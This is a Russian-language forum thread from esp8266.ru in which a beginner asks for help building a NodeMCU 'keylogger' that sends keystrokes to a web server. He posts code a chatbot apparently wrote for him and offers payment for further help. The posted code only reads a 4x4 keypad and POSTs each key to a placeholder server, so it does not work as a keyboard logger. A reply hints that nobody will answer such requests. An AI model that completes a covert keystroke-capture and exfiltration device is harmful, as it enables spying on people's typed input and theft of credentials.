• Уважаемые посетители сайта esp8266.ru!
    Мы отказались от размещения рекламы на страницах форума для большего комфорта пользователей.
    Вы можете оказать посильную поддержку администрации форума. Данные средства пойдут на оплату услуг облачных провайдеров для сайта esp8266.ru
  • Система автоматизации с открытым исходным кодом на базе esp8266/esp32 микроконтроллеров и приложения IoT Manager. Наша группа в Telegram

Keylogger на NodeMCU

kisunx

New member
Здравствуйте, хочу сделать Keylogger на NodeMCU. Посмотрев старенькое видео от амперки, захотелось сделать так, же, но без ардуино, только на ESP и данные отправлять не на telnet сервер, а на web. Но так как я совсем новичок, то даже не представляю что делать... попросил написать код бота, вот что он мне написал :
#include <ESP8266WiFi.h>
#include <ESP8266HTTPClient.h>
#include <Keypad.h>

const char* ssid = "your_SSID";
const char* password = "your_PASSWORD";

const byte ROWS = 4;
const byte COLS = 4;
char keys[ROWS][COLS] = {
{'1', '2', '3', 'A'},
{'4', '5', '6', 'B'},
{'7', '8', '9', 'C'},
{'*', '0', '#', 'D'}
};
byte rowPins[ROWS] = {D1, D2, D3, D4};
byte colPins[COLS] = {D5, D6, D7, D8};

Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS);

void setup() {
Serial.begin(115200);

// Подключение к Wi-Fi сети
WiFi.begin(ssid, password);
while (WiFi.status() != WL_CONNECTED) {
delay(1000);
Serial.println("Connecting to WiFi...");
}
Serial.println("Connected to WiFi");
}

void loop() {
char key = keypad.getKey();
if (key != NO_KEY) {
// Настройка HTTP клиента
HTTPClient http;
http.begin("http://your_web_server.com");

// Отправка данных на веб-сервер
String data = String(key);
http.addHeader("Content-Type", "application/x-www-form-urlencoded");
int httpResponseCode = http.POST(data);

if (httpResponseCode > 0) {
Serial.println("Data sent successfully");
} else {
Serial.println("Error sending data");
}

http.end();
}
}

Кто готов помочь с проектом, готов дать небольшое вознаграждение.
 

aZholtikov

Active member
Подобный вопрос лежит на ESP8266 Community Forum (www.esp8266.com) с начала 2017 года. Ответа до сих пор нет...
Как думаете почему? ;-)
 
Сверху Снизу